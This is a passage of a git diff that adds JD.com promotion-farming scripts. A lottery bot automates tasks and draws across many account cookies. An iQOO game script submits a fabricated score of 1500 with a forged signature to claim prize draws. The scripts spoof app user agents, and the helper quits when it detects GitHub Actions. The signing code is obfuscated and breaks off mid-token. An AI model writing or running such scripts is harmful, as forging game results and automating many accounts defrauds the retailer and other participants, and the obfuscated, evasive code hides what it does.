t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_industryLottery.js b/backUp/jd_industryLottery.js new file mode 100644 index 0000000..7ca7dc0 --- /dev/null +++ b/backUp/jd_industryLottery.js @@ -0,0 +1,308 @@ +/* +工业品抽奖机 +活动地址:https://prodev.m.jd.com/mall/active/ebLz35DwiVumB6pcrGkqmnhCgmC/index.html +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#工业品抽奖机 +10 0 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_industryLottery.js, tag=工业品抽奖机, enabled=true + +================Loon============== +[Script] +cron "10 0 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_industryLottery.js,tag=工业品抽奖机 + +===============Surge================= +工业品抽奖机 = type=cron,cronexp="10 0 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_industryLottery.js + +============小火箭========= +工业品抽奖机 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_industryLottery.js, cronexpr="10 0 * * *", timeout=3600, enable=true + */ +const $ = new Env('工业品抽奖机'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://jdjoy.jd.com'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.forNum = 0; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdLottery() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdLottery() { + await getTask(1); + await $.wait(2000) + if ($.forNum === 0) console.log(`全部任务已做完\n`) + for (let j = 0; j < $.forNum; j++) { + await getTask(2); + await $.wait(2000) + } + let lotteryNum = (await getTask()).data.chanceLeft + if (lotteryNum === 0) console.log(`抽奖次数已用完`) + for (let j = 0; j < lotteryNum; j++) { + await join(); + await $.wait(2000) + } + // await showMsg(); +} + +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +async function getTask(type) { + return new Promise(async resolve => { + const options = { + url: `${JD_API_HOST}/module/task/draw/get?configCode=e1a458713a854e2abb1db2772e540532&unionCardCode=`, + headers: { + "Host": "jdjoy.jd.com", + "Accept": "*/*", + "Content-Type": "application/json", + "Origin": "https://prodev.m.jd.com", + "Cookie": cookie, + "Accept-Language": "zh-cn", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://prodev.m.jd.com/mall/active/ebLz35DwiVumB6pcrGkqmnhCgmC/index.html", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getTask API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + switch (type) { + case 1: + for (let key of Object.keys(data.data.taskConfig)) { + let vo = data.data.taskConfig[key] + if (vo.finishCount !== vo.itemCount) { + $.forNum += vo.itemCount - vo.finishCount + } + } + break; + case 2: + for (let key of Object.keys(data.data.taskConfig)) { + let vo = data.data.taskConfig[key] + if (vo.finishCount !== vo.itemCount) { + console.log(`去做【${vo.taskName}】${vo.taskItem.itemName}`) + await task('doTask', {"configCode":data.data.activityBaseInfo.configCode,"taskType":vo.taskType,"itemId":vo.taskItem.itemId}) + await $.wait(vo.viewTime * 1000) + await task('getReward', {"configCode":data.data.activityBaseInfo.configCode,"taskType":vo.taskType,"itemId":vo.taskItem.itemId}) + console.log(`【${vo.taskName}】${vo.taskItem.itemName} 已做完\n`) + } + } + break; + default: + break; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) + } + }) + }) +} +function task(function_id, body = {}) { + return new Promise(resolve => { + $.post(taskUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} task API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function join() { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}/module/task/draw/join?configCode=e1a458713a854e2abb1db2772e540532&fp=${randomString(32)}&eid=`, + headers: { + "Host": "jdjoy.jd.com", + "Accept": "*/*", + "Content-Type": "application/json", + "Origin": "https://prodev.m.jd.com", + "Cookie": cookie, + "Accept-Language": "zh-cn", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://prodev.m.jd.com/mall/active/ebLz35DwiVumB6pcrGkqmnhCgmC/index.html", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} join API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.rewardType !== 0) { + console.log(`抽中:${data.data.rewardName}`) + } else { + console.log(`很遗憾,未中奖~`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function randomString(e) { + e = e || 32; + let t = "0123456789abcdef", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}/module/task/draw/${function_id}`, + body: `${JSON.stringify(body)}`, + headers: { + "Host": "jdjoy.jd.com", + "Accept": "*/*", + "Content-Type": "application/json", + "Origin": "https://prodev.m.jd.com", + "Cookie": cookie, + "Accept-Language": "zh-cn", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://prodev.m.jd.com/mall/active/ebLz35DwiVumB6pcrGkqmnhCgmC/index.html", + "Accept-Encoding": "gzip, deflate, br" + } + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_iqoo_run.js b/backUp/jd_iqoo_run.js new file mode 100644 index 0000000..239168d --- /dev/null +++ b/backUp/jd_iqoo_run.js @@ -0,0 +1,546 @@ +/** + * 写着玩的,没水了,跑个寂寞,有很低的几率抽实物,愿意跑的跑,PS:被菜狗薅干的 + cron 2 12 28-31,1-12 8,9 * https://raw.githubusercontent.com/star261/jd/main/scripts/jd_iqoo_run.js + * */ +const $ = new Env('iqoo生而为赢酷跑'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + let res = []; + try{res = await getAuthorShareCode('https://raw.githubusercontent.com/star261/jd/main/code/iqooCode.json');}catch (e) {} + if(!res){ + try{res = await getAuthorShareCode('https://gitee.com/star267/share-code/raw/master/iqooCode.json');}catch (e) {} + if(!res){res = [{"id":"902082602","uid":""},{"id":"902082601","uid":""}];} + } + if(res.length === 0){console.log(`获取活动列表失败`)}; + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + getUA(); + $.index = i + 1; + $.cookie = cookiesArr[i]; + $.oldcookie = cookiesArr[i]; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + for (let j = 0; j < res.length; j++) { + $.activityID = res[j].id; + $.shareUuid = res[j].uid; + console.log(`\n活动ID:`+ $.activityID); + await main(); + await $.wait(1000); + } + } +})().catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}).finally(() => { + $.done(); +}); + +async function main() { + $.token = ``; + $.pin = ``; + $.LZ_TOKEN_KEY = ''; + $.LZ_TOKEN_VALUE = ''; + $.lz_jdpin_token = ''; + await getToken(); + if ($.token === ``) {console.log(`获取token失败`);return;} + console.log(`token:${$.token}`); + await getWxCommonInfoToken(); + if(!$.LZ_TOKEN_KEY || !$.LZ_TOKEN_VALUE){ + console.log(`初始化失败`);return; + } + await $.wait(1000); + $.shopId = ``; + await takePostRequest('getSimpleActInfoVo'); + if ($.shopid === ``) {console.log(`获取shopid失败`);return;} + console.log(`shopid:${$.shopid}`) + await $.wait(1000); + $.pin = ''; + await getMyPing(); + if ($.pin === ``) {$.hotFlag = true;console.log(`获取pin失败,该账号可能是黑号`);return;} + await $.wait(1000); + await accessLogWithAD(); + await $.wait(1000); + await $.wait(1000); + $.attrTouXiang = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' + await getUserInfo(); + await getHtml(); + $.activityData = {}; + await takePostRequest('activityContent'); + if (JSON.stringify($.activityData) === `{}`) {console.log(`获取活动详情失败`);return;} + console.log(`获取活动详情成功`); + $.uid = $.activityData.uid; + console.log(`助力码:`+$.uid); + if($.shareUuid !== '' && $.activityData.openCardStatus === 0){ + //await takePostRequest('myfriends'); + //await $.wait(2000); + console.log(`执行助力`); + await takePostRequest('helpFriend'); + await $.wait(2000); + } + console.log(`执行一次游戏`); + $.gameToken = ''; + await takePostRequest('start'); + if($.gameToken !== ''){ + console.log(`等待30S。。。。`); + await $.wait(30000); + $.endInfo = {} + await takePostRequest('end'); + if($.endInfo){ + console.log(`游戏结束,获得积分:`+$.endInfo.addScore); + if($.endInfo.chance !== 0){ + await $.wait(3000); + console.log(`抽奖`); + //await takePostRequest('myprize'); + //await $.wait(1000); + await takePostRequest('luckydraw'); + } + } + } +} + +async function takePostRequest(type) { + let url = ''; + let body = ``; + switch (type) { + case 'getSimpleActInfoVo': + url = 'https://lzdz-isv.isvjcloud.com/dz/common/getSimpleActInfoVo'; + body = `activityId=${$.activityID}`; + break; + case 'activityContent': + url = 'https://lzdz-isv.isvjcloud.com/dingzhi/iqoo/zskxj/activityContent'; + body = `activityId=${$.activityID}&pin=${encodeURIComponent($.pin)}&pinImg=${encodeURIComponent($.attrTouXiang)}&nick=${encodeURIComponent($.nickname)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareUuid}&picId=`; + break; + case 'start': + url = 'https://lzdz-isv.isvjcloud.com/dingzhi/iqoo/zskxj/game/start'; + body = `activityId=${$.activityID}&pin=${encodeURIComponent($.pin)}`; + break; + case 'end': + url = 'https://lzdz-isv.isvjcloud.com/dingzhi/iqoo/zskxj/game/end'; + let reqtime = Date.now(); + let score = 1500; + let gameId = $.gameToken; + let sign = getAA(reqtime,score,gameId) + body = `activityId=${$.activityID}&pin=${encodeURIComponent($.pin)}&reqtime=${reqtime}&score=${score}&gameId=${gameId}&data=0&sign=${sign}`; + break; + case 'luckydraw': + url = 'https://lzdz-isv.isvjcloud.com/dingzhi/iqoo/zskxj/luckydraw'; + body = `activityId=${$.activityID}&pin=${encodeURIComponent($.pin)}&type=0`; + break; + case 'helpFriend': + url = 'https://lzdz-isv.isvjcloud.com/dingzhi/iqoo/zskxj/helpFriend'; + body = `activityId=${$.activityID}&pin=${encodeURIComponent($.pin)}&shareUuid=${$.shareUuid}`; + break; + case 'myfriends': + url = 'https://lzdz-isv.isvjcloud.com/dingzhi/iqoo/zskxj/myfriends'; + body = `activityId=${$.activityID}&pin=${encodeURIComponent($.pin)}`; + break; + case 'myprize': + url = 'https://lzdz-isv.isvjcloud.com/dingzhi/iqoo/zskxj/myprize'; + body = `activityId=${$.activityID}&pin=${encodeURIComponent($.pin)}`; + break; + default: + console.log(`错误${type}`); + } + let myRequest = getPostRequest(url, body); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + dealReturn(type, data); + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +var _0xodj='jsjiami.com.v6',_0x2cf9=[_0xodj,'w5dewp3ChcKC','CMOVw4bCiMK3w4fCocKSw5YXwrrCtXvDoMO8N8KKXcOgw7bDo8OKw4oFP8KBw4FYRsOdwq7DnB1s','Mi3DojQ2','yjsqMjkhGiOlamNixqD.Pgczomt.v6=='];(function(_0x2d8f05,_0x4b81bb,_0x4d74cb){var _0x32719f=function(_0x2dc776,_0x362d54,_0x2576f4,_0x5845c1,_0x4fbc7a){_0x362d54=_0x362d54>>0x8,_0x4fbc7a='po';var _0x292610='shift',_0x151bd2='push';if(_0x362d54<_0x2dc776){while(--_0x2dc776){_0x5845c1=_0x2d8f05[_0x292610]();if(_0x362d54===_0x2dc776){_0x362d54=_0x5845c1;_0x2576f4=_0x2d8f05[_0x4fbc7a+'p']();}else if(_0x362d54&&_0x2576f4['replace'](/[yqMkhGOlNxqDPgzt=]/g,'')===_0x362d54){_0x2d8f05[_0x151bd2](_0x5845c1);}}_0x2d8f05[_0x151bd2](_0x2d8f05[_0x292610]());}return 0xa2dff;};return _0x32719f(++_0x4b81bb,_0x4d74cb)>>_0x4b81bb^_0x4d74cb;}(_0x2cf9,0x6e,0x6e00));var _0x5108=function(_0x50b579,_0x1a4950){_0x50b579=~~'0x'['concat'](_0x50b579);var _0x4606cd=_0x2cf9[_0x50b579];if(_0x5108['KTjaYN']===undefined){(function(){var _0xe884da=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x5f5d37='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xe884da['atob']||(_0xe884da['atob']=function(_0x4534d8){var _0x345ca1=String(_0x4534d8)['replace'](/=+$/,'');for(var _0x31752b=0x0,_0x14d268,_0x5398b5,_0xdbc588=0x0,_0x2d4af6='';_0x5398b5=_0x345ca1['charAt'](_0xdbc588++);~_0x5398b5&&(_0x14d268=_0x31752b%0x4?_0x14d268*0x40+_0x5398b5:_0x5398b5,_0x31752b++%0x4)?_0x2d4af6+=String['fromCharCode'](0xff&_0x14d268>>(-0x2*_0x31752b&0x6)):0x0){_0x5398b5=_0x5f5d37['indexOf'](_0x5398b5);}return _0x2d4af6;});}());var _0x416a36=function(_0x100e54,_0x1a4950){var _0x40a0d0=[],_0x351dd5=0x0,_0x275161,_0x22469d='',_0x58634e='';_0x100e54=atob(_0x100e54);for(var _0x5cda73=0x0,_0x47d4f6=_0x100e54['length'];_0x5cda73<_0x47d4f6;_0x5cda73++){_0x58634e+='%'+('00'+_0x100e54['charCodeAt'](_0x5cda73)['toString'](0x10))['slice'](-0x2);}_0x100e54=decodeURIComponent(_0x58634e);for(var _0x2f48ed=0x0;_0x2f48ed<0x100;_0x2f48ed++){_0x40a0d0[_0x2f48ed]=_0x2f48ed;}for(_0x2f48ed=0x0;_0x2f48ed<0x100;_0x2f48ed++){_0x351dd5=(_0x351dd5+_0x40a0d0[_0x2f48ed]+_0x1a4950['charCodeAt'](_0x2f48ed%_0x1a4950['length']))%0x100;_0x275161=_0x40a0d0[_0x2f48ed];_0x40a0d0[_0x2f48ed]=_0x40a0d0[_0x351dd5];_0x40a0d0[_0x351dd5]=_0x275161;}_0x2f48ed=0x0;_0x351dd5=0x0;for(var 